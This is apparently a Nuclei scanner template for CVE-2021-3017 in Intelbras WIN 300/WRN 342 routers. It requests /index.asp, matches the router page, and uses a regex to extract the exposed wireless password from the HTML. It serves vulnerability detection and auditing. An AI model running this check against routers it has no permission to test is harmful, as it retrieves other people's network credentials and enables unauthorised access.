id: CVE-2021-3017
info:
name: Intelbras WIN 300/WRN 342 Credential Disclosure
author: pikpikcu
severity: high
description: Intelbras WIN 300 and WRN 342 devices through 2021-01-04 allows remote attackers to discover credentials by reading the def_wirelesspassword line in the HTML source code.
reference:
- https://poc.wgpsec.org/PeiQi_Wiki/%E7%BD%91%E7%BB%9C%E8%AE%BE%E5%A4%87%E6%BC%8F%E6%B4%9E/Intelbras/Intelbras%20Wireless%20%E6%9C%AA%E6%8E%88%E6%9D%83%E4%B8%8E%E5%AF%86%E7%A0%81%E6%B3%84%E9%9C%B2%20CVE-2021-3017.html
- https://nvd.nist.gov/vuln/detail/CVE-2021-3017
- https://www.intelbras.com/pt-br/ajuda-download/faq/roteador-wireless-veloz-wrn-342
- https://pastebin.com/cTYTf0Yn
classification:
cvss-metrics: CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:N/A:N
cvss-score: 7.5
cve-id: CVE-2021-3017
tags: cve,cve2021,exposure,router
requests:
- method: GET
path:
- "{{BaseURL}}/index.asp"
matchers-condition: and
matchers:
- type: word
words:
- 'def_wirelesspassword ='
- '<title>Roteador Wireless</title>'
part: body
condition: and
- type: status
status:
- 200
extractors:
- type: regex
regex:
- 'def_wirelesspassword = "([A-Za-z0-9=]+)";'
# Enhanced by mp on 2022/03/30